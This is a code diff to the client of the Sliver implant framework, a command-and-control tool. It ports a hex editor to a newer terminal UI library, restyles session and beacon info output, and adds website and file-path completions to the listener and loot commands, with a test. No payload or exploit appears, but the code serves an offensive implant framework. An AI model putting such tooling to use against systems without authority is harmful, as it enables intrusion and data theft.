b.WriteByte('\n')
|
b.WriteByte('\n')
|
||||||
b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
|
b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
|
||||||
return b.String()
|
return hexEditorView(b.String())
|
||||||
|
}
|
||||||
|
|
||||||
|
func renderStatusBar(width int, text string) string {
|
||||||
|
return ansiReverseOn + lineStyle.Width(width).Render(text) + ansiReverseOff
|
||||||
|
}
|
||||||
|
|
||||||
|
func renderCursorCell(cell string) string {
|
||||||
|
return ansiReverseOn + cell + ansiReverseOff
|
||||||
|
}
|
||||||
|
|
||||||
|
func hexEditorView(content string) tea.View {
|
||||||
|
v := tea.NewView(content)
|
||||||
|
v.AltScreen = true
|
||||||
|
return v
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *editorModel) result() editorResult {
|
func (m *editorModel) result() editorResult {
|
||||||
@@ -176,8 +198,8 @@ func (m *editorModel) result() editorResult {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
func (m *editorModel) handleCommand(key tea.Key) (tea.Model, tea.Cmd) {
|
||||||
switch msg.Type {
|
switch key.Code {
|
||||||
case tea.KeyEsc:
|
case tea.KeyEsc:
|
||||||
m.mode = modeNormal
|
m.mode = modeNormal
|
||||||
m.command = ""
|
m.command = ""
|
||||||
@@ -192,14 +214,16 @@ func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
|||||||
}
|
}
|
||||||
case tea.KeyBackspace:
|
case tea.KeyBackspace:
|
||||||
m.command = popRune(m.command)
|
m.command = popRune(m.command)
|
||||||
case tea.KeyRunes:
|
default:
|
||||||
m.command += string(msg.Runes)
|
if key.Text != "" {
|
||||||
|
m.command += key.Text
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return m, nil
|
return m, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
func (m *editorModel) handleHexEdit(key tea.Key) (tea.Model, tea.Cmd) {
|
||||||
switch msg.Type {
|
switch key.Code {
|
||||||
case tea.KeyEsc:
|
case tea.KeyEsc:
|
||||||
m.mode = modeNormal
|
m.mode = modeNormal
|
||||||
m.nibbleSet = false
|
m.nibbleSet = false
|
||||||
@@ -221,8 +245,8 @@ func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
|||||||
case tea.KeyDown:
|
case tea.KeyDown:
|
||||||
m.moveDown()
|
m.moveDown()
|
||||||
m.nibbleSet = false
|
m.nibbleSet = false
|
||||||
case tea.KeyRunes:
|
default:
|
||||||
for _, r := range msg.Runes {
|
for _, r := range key.Text {
|
||||||
val, ok := hexNibble(r)
|
val, ok := hexNibble(r)
|
||||||
if !ok {
|
if !ok {
|
||||||
continue
|
continue
|
||||||
@@ -241,8 +265,8 @@ func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
|||||||
return m, nil
|
return m, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
func (m *editorModel) handleASCIIEdit(key tea.Key) (tea.Model, tea.Cmd) {
|
||||||
switch msg.Type {
|
switch key.Code {
|
||||||
case tea.KeyEsc:
|
case tea.KeyEsc:
|
||||||
m.mode = modeNormal
|
m.mode = modeNormal
|
||||||
case tea.KeyLeft:
|
case tea.KeyLeft:
|
||||||
@@ -253,8 +277,8 @@ func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
|||||||
m.moveUp()
|
m.moveUp()
|
||||||
case tea.KeyDown:
|
case tea.KeyDown:
|
||||||
m.moveDown()
|
m.moveDown()
|
||||||
case tea.KeyRunes:
|
default:
|
||||||
for _, r := range msg.Runes {
|
for _, r := range key.Text {
|
||||||
if r < 0 || r > 0xFF {
|
if r < 0 || r > 0xFF {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
@@ -266,8 +290,8 @@ func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
|||||||
return m, nil
|
return m, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
func (m *editorModel) handleNormal(key tea.Key) (tea.Model, tea.Cmd) {
|
||||||
switch msg.Type {
|
switch key.Code {
|
||||||
case tea.KeyEsc:
|
case tea.KeyEsc:
|
||||||
m.pending = 0
|
m.pending = 0
|
||||||
case tea.KeyLeft:
|
case tea.KeyLeft:
|
||||||
@@ -278,8 +302,8 @@ func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
|||||||
m.moveUp()
|
m.moveUp()
|
||||||
case tea.KeyDown:
|
case tea.KeyDown:
|
||||||
m.moveDown()
|
m.moveDown()
|
||||||
case tea.KeyRunes:
|
default:
|
||||||
for _, r := range msg.Runes {
|
for _, r := range key.Text {
|
||||||
if m.handleNormalRune(r) {
|
if m.handleNormalRune(r) {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
@@ -399,18 +423,13 @@ func (m *editorModel) renderLine(lineIndex int) string {
|
|||||||
asciiRaw := string(printableByte(byteVal))
|
asciiRaw := string(printableByte(byteVal))
|
||||||
isModified := m.isModified(idx)
|
isModified := m.isModified(idx)
|
||||||
if idx == m.cursor {
|
if idx == m.cursor {
|
||||||
if isModified {
|
hexCells[i] = renderCursorCell(hexRaw)
|
||||||
hexCells[i] = modifiedCursorStyle.Render(hexRaw)
|
asciiCells[i] = renderCursorCell(asciiRaw)
|
||||||
asciiCells[i] = modifiedCursorStyle.Render(asciiRaw)
|
|
||||||
} else {
|
|
||||||
hexCells[i] = cursorStyle.Render(hexRaw)
|
|
||||||
asciiCells[i] = cursorStyle.Render(asciiRaw)
|
|
||||||
}
|
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
if isModified {
|
if isModified {
|
||||||
hexCells[i] = modifiedStyle.Render(hexRaw)
|
hexCells[i] = modifiedStyle().Render(hexRaw)
|
||||||
asciiCells[i] = modifiedStyle.Render(asciiRaw)
|
asciiCells[i] = modifiedStyle().Render(asciiRaw)
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
hexCells[i] = hexRaw
|
hexCells[i] = hexRaw
|
||||||
|
|||||||
@@ -8,6 +8,7 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
tea "charm.land/bubbletea/v2"
|
||||||
"github.com/bishopfox/sliver/client/command/filesystem"
|
"github.com/bishopfox/sliver/client/command/filesystem"
|
||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
"github.com/bishopfox/sliver/client/forms"
|
"github.com/bishopfox/sliver/client/forms"
|
||||||
@@ -15,8 +16,9 @@ import (
|
|||||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||||
"github.com/bishopfox/sliver/util"
|
"github.com/bishopfox/sliver/util"
|
||||||
"github.com/bishopfox/sliver/util/encoders"
|
"github.com/bishopfox/sliver/util/encoders"
|
||||||
tea "github.com/charmbracelet/bubbletea"
|
"github.com/charmbracelet/colorprofile"
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
|
"golang.org/x/term"
|
||||||
"google.golang.org/protobuf/proto"
|
"google.golang.org/protobuf/proto"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -174,7 +176,15 @@ func HexEditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
|||||||
|
|
||||||
func runHexEditor(data []byte, filename string, offset int) (editorResult, error) {
|
func runHexEditor(data []byte, filename string, offset int) (editorResult, error) {
|
||||||
model := newEditorModel(data, filename, offset)
|
model := newEditorModel(data, filename, offset)
|
||||||
program := tea.NewProgram(model, tea.WithAltScreen())
|
width, height := 80, 24
|
||||||
|
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
||||||
|
width, height = w, h
|
||||||
|
}
|
||||||
|
program := tea.NewProgram(
|
||||||
|
model,
|
||||||
|
tea.WithWindowSize(width, height),
|
||||||
|
tea.WithColorProfile(colorprofile.TrueColor),
|
||||||
|
)
|
||||||
finalModel, err := program.Run()
|
finalModel, err := program.Run()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return editorResult{}, err
|
return editorResult{}, err
|
||||||
|
|||||||
+38
-38
@@ -70,47 +70,47 @@ func InfoCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
|||||||
|
|
||||||
if session != nil {
|
if session != nil {
|
||||||
|
|
||||||
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Session ID:"), session.ID)
|
||||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Name:"), session.Name)
|
||||||
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, session.Hostname)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Hostname:"), session.Hostname)
|
||||||
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, session.UUID)
|
con.Printf("%s %s\n", console.StyleBold.Render(" UUID:"), session.UUID)
|
||||||
con.Printf(console.Bold+" Username: %s%s\n", console.Normal, session.Username)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Username:"), session.Username)
|
||||||
con.Printf(console.Bold+" UID: %s%s\n", console.Normal, session.UID)
|
con.Printf("%s %s\n", console.StyleBold.Render(" UID:"), session.UID)
|
||||||
con.Printf(console.Bold+" GID: %s%s\n", console.Normal, session.GID)
|
con.Printf("%s %s\n", console.StyleBold.Render(" GID:"), session.GID)
|
||||||
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, session.PID)
|
con.Printf("%s %d\n", console.StyleBold.Render(" PID:"), session.PID)
|
||||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
|
con.Printf("%s %s\n", console.StyleBold.Render(" OS:"), session.OS)
|
||||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Version:"), session.Version)
|
||||||
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, session.Locale)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Locale:"), session.Locale)
|
||||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Arch:"), session.Arch)
|
||||||
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Active C2:"), session.ActiveC2)
|
||||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Remote Address:"), session.RemoteAddress)
|
||||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Proxy URL:"), session.ProxyURL)
|
||||||
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
|
con.Printf("%s %s\n", console.StyleBold.Render("Reconnect Interval:"), time.Duration(session.ReconnectInterval).String())
|
||||||
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
|
con.Printf("%s %s\n", console.StyleBold.Render(" First Contact:"), con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
|
||||||
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))
|
con.Printf("%s %s\n", console.StyleBold.Render(" Last Checkin:"), con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))
|
||||||
|
|
||||||
} else if beacon != nil {
|
} else if beacon != nil {
|
||||||
|
|
||||||
con.Printf(console.Bold+" Beacon ID: %s%s\n", console.Normal, beacon.ID)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Beacon ID:"), beacon.ID)
|
||||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, beacon.Name)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Name:"), beacon.Name)
|
||||||
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, beacon.Hostname)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Hostname:"), beacon.Hostname)
|
||||||
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, beacon.UUID)
|
con.Printf("%s %s\n", console.StyleBold.Render(" UUID:"), beacon.UUID)
|
||||||
con.Printf(console.Bold+" Username: %s%s\n", console.Normal, beacon.Username)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Username:"), beacon.Username)
|
||||||
con.Printf(console.Bold+" UID: %s%s\n", console.Normal, beacon.UID)
|
con.Printf("%s %s\n", console.StyleBold.Render(" UID:"), beacon.UID)
|
||||||
con.Printf(console.Bold+" GID: %s%s\n", console.Normal, beacon.GID)
|
con.Printf("%s %s\n", console.StyleBold.Render(" GID:"), beacon.GID)
|
||||||
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, beacon.PID)
|
con.Printf("%s %d\n", console.StyleBold.Render(" PID:"), beacon.PID)
|
||||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
|
con.Printf("%s %s\n", console.StyleBold.Render(" OS:"), beacon.OS)
|
||||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Version:"), beacon.Version)
|
||||||
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, beacon.Locale)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Locale:"), beacon.Locale)
|
||||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Arch:"), beacon.Arch)
|
||||||
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Active C2:"), beacon.ActiveC2)
|
||||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Remote Address:"), beacon.RemoteAddress)
|
||||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
|
con.Printf("%s %s\n", console.StyleBold.Render(" Proxy URL:"), beacon.ProxyURL)
|
||||||
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
|
con.Printf("%s %s\n", console.StyleBold.Render(" Interval:"), time.Duration(beacon.Interval).String())
|
||||||
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
|
con.Printf("%s %s\n", console.StyleBold.Render(" Jitter:"), time.Duration(beacon.Jitter).String())
|
||||||
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
|
con.Printf("%s %s\n", console.StyleBold.Render(" First Contact:"), con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
|
||||||
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
|
con.Printf("%s %s\n", console.StyleBold.Render(" Last Checkin:"), con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
|
||||||
con.Printf(console.Bold+" Next Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))
|
con.Printf("%s %s\n", console.StyleBold.Render(" Next Checkin:"), con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))
|
||||||
|
|
||||||
} else {
|
} else {
|
||||||
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
|
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
|
||||||
|
|||||||
@@ -1,6 +1,25 @@
|
|||||||
package jobs
|
package jobs
|
||||||
|
|
||||||
|
/*
|
||||||
|
Sliver Implant Framework
|
||||||
|
Copyright (C) 2026 Bishop Fox
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/bishopfox/sliver/client/command/flags"
|
"github.com/bishopfox/sliver/client/command/flags"
|
||||||
"github.com/bishopfox/sliver/client/command/generate"
|
"github.com/bishopfox/sliver/client/command/generate"
|
||||||
"github.com/bishopfox/sliver/client/command/help"
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
@@ -24,12 +43,12 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
GroupID: consts.NetworkHelpGroup,
|
GroupID: consts.NetworkHelpGroup,
|
||||||
}
|
}
|
||||||
flags.Bind("jobs", true, jobsCmd, func(f *pflag.FlagSet) {
|
flags.Bind("jobs", true, jobsCmd, func(f *pflag.FlagSet) {
|
||||||
f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||||
})
|
})
|
||||||
flags.Bind("jobs", false, jobsCmd, func(f *pflag.FlagSet) {
|
flags.Bind("jobs", false, jobsCmd, func(f *pflag.FlagSet) {
|
||||||
f.Int32P("kill", "k", -1, "kill a background job")
|
f.Int32P("kill", "k", -1, "kill a background job")
|
||||||
f.BoolP("kill-all", "K", false, "kill all jobs")
|
f.BoolP("kill-all", "K", false, "kill all jobs")
|
||||||
f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||||
})
|
})
|
||||||
flags.BindFlagCompletions(jobsCmd, func(comp *carapace.ActionMap) {
|
flags.BindFlagCompletions(jobsCmd, func(comp *carapace.ActionMap) {
|
||||||
(*comp)["kill"] = JobsIDCompleter(con)
|
(*comp)["kill"] = JobsIDCompleter(con)
|
||||||
@@ -103,6 +122,10 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
|
f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
|
||||||
f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
|
f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
|
||||||
})
|
})
|
||||||
|
flags.BindFlagCompletions(httpCmd, func(comp *carapace.ActionMap) {
|
||||||
|
(*comp)["website"] = WebsiteNameCompleter(con)
|
||||||
|
})
|
||||||
|
registerWebsiteFlagCompletion(httpCmd, "website", con)
|
||||||
|
|
||||||
// HTTPS
|
// HTTPS
|
||||||
httpsCmd := &cobra.Command{
|
httpsCmd := &cobra.Command{
|
||||||
@@ -129,9 +152,12 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints")
|
f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints")
|
||||||
})
|
})
|
||||||
flags.BindFlagCompletions(httpsCmd, func(comp *carapace.ActionMap) {
|
flags.BindFlagCompletions(httpsCmd, func(comp *carapace.ActionMap) {
|
||||||
|
(*comp)["website"] = WebsiteNameCompleter(con)
|
||||||
(*comp)["cert"] = carapace.ActionFiles().Tag("certificate file")
|
(*comp)["cert"] = carapace.ActionFiles().Tag("certificate file")
|
||||||
(*comp)["key"] = carapace.ActionFiles().Tag("key file")
|
(*comp)["key"] = carapace.ActionFiles().Tag("key file")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletions(httpsCmd, "cert", "key")
|
||||||
|
registerWebsiteFlagCompletion(httpsCmd, "website", con)
|
||||||
|
|
||||||
// Staging listeners
|
// Staging listeners
|
||||||
stageCmd := &cobra.Command{
|
stageCmd := &cobra.Command{
|
||||||
@@ -161,6 +187,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
(*comp)["key"] = carapace.ActionFiles().Tag("key file")
|
(*comp)["key"] = carapace.ActionFiles().Tag("key file")
|
||||||
(*comp)["compress"] = carapace.ActionValues([]string{"zlib", "gzip", "deflate9", "none"}...).Tag("compression formats")
|
(*comp)["compress"] = carapace.ActionValues([]string{"zlib", "gzip", "deflate9", "none"}...).Tag("compression formats")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletions(stageCmd, "cert", "key")
|
||||||
|
|
||||||
return []*cobra.Command{jobsCmd, mtlsCmd, wgCmd, dnsCmd, httpCmd, httpsCmd, stageCmd}
|
return []*cobra.Command{jobsCmd, mtlsCmd, wgCmd, dnsCmd, httpCmd, httpsCmd, stageCmd}
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
package jobs
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/client/console"
|
||||||
|
consts "github.com/bishopfox/sliver/client/constants"
|
||||||
|
"github.com/spf13/cobra"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestHTTPAndHTTPSWebsiteFlagCompletionRegistered(t *testing.T) {
|
||||||
|
cmds := Commands(&console.SliverClient{})
|
||||||
|
|
||||||
|
httpCmd := commandByUse(cmds, consts.HttpStr)
|
||||||
|
if httpCmd == nil {
|
||||||
|
t.Fatalf("missing %q command", consts.HttpStr)
|
||||||
|
}
|
||||||
|
if _, ok := httpCmd.GetFlagCompletionFunc("website"); !ok {
|
||||||
|
t.Fatalf("%q missing website flag completion func", consts.HttpStr)
|
||||||
|
}
|
||||||
|
|
||||||
|
httpsCmd := commandByUse(cmds, consts.HttpsStr)
|
||||||
|
if httpsCmd == nil {
|
||||||
|
t.Fatalf("missing %q command", consts.HttpsStr)
|
||||||
|
}
|
||||||
|
if _, ok := httpsCmd.GetFlagCompletionFunc("website"); !ok {
|
||||||
|
t.Fatalf("%q missing website flag completion func", consts.HttpsStr)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func commandByUse(cmds []*cobra.Command, use string) *cobra.Command {
|
||||||
|
for _, cmd := range cmds {
|
||||||
|
if cmd.Use == use {
|
||||||
|
return cmd
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,100 @@
|
|||||||
|
package jobs
|
||||||
|
|
||||||
|
/*
|
||||||
|
Sliver Implant Framework
|
||||||
|
Copyright (C) 2026 Bishop Fox
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"sort"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/client/console"
|
||||||
|
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||||
|
"github.com/rsteube/carapace"
|
||||||
|
"github.com/spf13/cobra"
|
||||||
|
)
|
||||||
|
|
||||||
|
// WebsiteNameCompleter completes the names of available websites.
|
||||||
|
func WebsiteNameCompleter(con *console.SliverClient) carapace.Action {
|
||||||
|
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||||
|
websites, err := websiteNameValues(con)
|
||||||
|
if err != nil {
|
||||||
|
return carapace.ActionMessage("Failed to list websites %s", err)
|
||||||
|
}
|
||||||
|
if len(websites) == 0 {
|
||||||
|
return carapace.ActionMessage("no available websites")
|
||||||
|
}
|
||||||
|
|
||||||
|
return carapace.ActionValues(websites...).Tag("websites").Usage("website name")
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func registerWebsiteFlagCompletion(cmd *cobra.Command, name string, con *console.SliverClient) {
|
||||||
|
if cmd == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if _, ok := cmd.GetFlagCompletionFunc(name); ok {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if cmd.Flags().Lookup(name) == nil && cmd.PersistentFlags().Lookup(name) == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_ = cmd.RegisterFlagCompletionFunc(name, func(_ *cobra.Command, _ []string, toComplete string) ([]string, cobra.ShellCompDirective) {
|
||||||
|
values, err := websiteNameValues(con)
|
||||||
|
if err != nil {
|
||||||
|
return nil, cobra.ShellCompDirectiveNoFileComp
|
||||||
|
}
|
||||||
|
return filterCompletionValues(values, toComplete), cobra.ShellCompDirectiveNoFileComp
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func websiteNameValues(con *console.SliverClient) ([]string, error) {
|
||||||
|
results := make([]string, 0)
|
||||||
|
if con == nil || con.Rpc == nil {
|
||||||
|
return results, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
websites, err := con.Rpc.Websites(context.Background(), &commonpb.Empty{})
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
for _, ws := range websites.Websites {
|
||||||
|
results = append(results, ws.Name)
|
||||||
|
}
|
||||||
|
sort.Strings(results)
|
||||||
|
return results, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func filterCompletionValues(values []string, prefix string) []string {
|
||||||
|
if prefix == "" {
|
||||||
|
return values
|
||||||
|
}
|
||||||
|
|
||||||
|
filtered := make([]string, 0, len(values))
|
||||||
|
for _, value := range values {
|
||||||
|
candidate := value
|
||||||
|
if tab := strings.IndexByte(value, '\t'); tab >= 0 {
|
||||||
|
candidate = value[:tab]
|
||||||
|
}
|
||||||
|
if strings.HasPrefix(candidate, prefix) {
|
||||||
|
filtered = append(filtered, value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return filtered
|
||||||
|
}
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
package loot
|
package loot
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/rsteube/carapace"
|
"github.com/rsteube/carapace"
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
"github.com/spf13/pflag"
|
"github.com/spf13/pflag"
|
||||||
@@ -23,7 +24,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
GroupID: consts.SliverHelpGroup,
|
GroupID: consts.SliverHelpGroup,
|
||||||
}
|
}
|
||||||
flags.Bind("loot", true, lootCmd, func(f *pflag.FlagSet) {
|
flags.Bind("loot", true, lootCmd, func(f *pflag.FlagSet) {
|
||||||
f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||||
})
|
})
|
||||||
flags.Bind("loot", false, lootCmd, func(f *pflag.FlagSet) {
|
flags.Bind("loot", false, lootCmd, func(f *pflag.FlagSet) {
|
||||||
f.StringP("filter", "f", "", "filter based on loot type")
|
f.StringP("filter", "f", "", "filter based on loot type")
|
||||||
@@ -50,6 +51,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
})
|
})
|
||||||
carapace.Gen(lootAddCmd).PositionalCompletion(
|
carapace.Gen(lootAddCmd).PositionalCompletion(
|
||||||
carapace.ActionFiles().Tag("local loot file").Usage("The local file path to the loot"))
|
carapace.ActionFiles().Tag("local loot file").Usage("The local file path to the loot"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(lootAddCmd, 0)
|
||||||
|
|
||||||
lootRemoteCmd := &cobra.Command{
|
lootRemoteCmd := &cobra.Command{
|
||||||
Use: consts.LootRemoteStr,
|
Use: consts.LootRemoteStr,
|
||||||
@@ -99,6 +101,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save loot")
|
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save loot")
|
||||||
(*comp)["filter"] = FileTypeCompleter(con)
|
(*comp)["filter"] = FileTypeCompleter(con)
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(lootFetchCmd, "save")
|
||||||
|
|
||||||
lootRmCmd := &cobra.Command{
|
lootRmCmd := &cobra.Command{
|
||||||
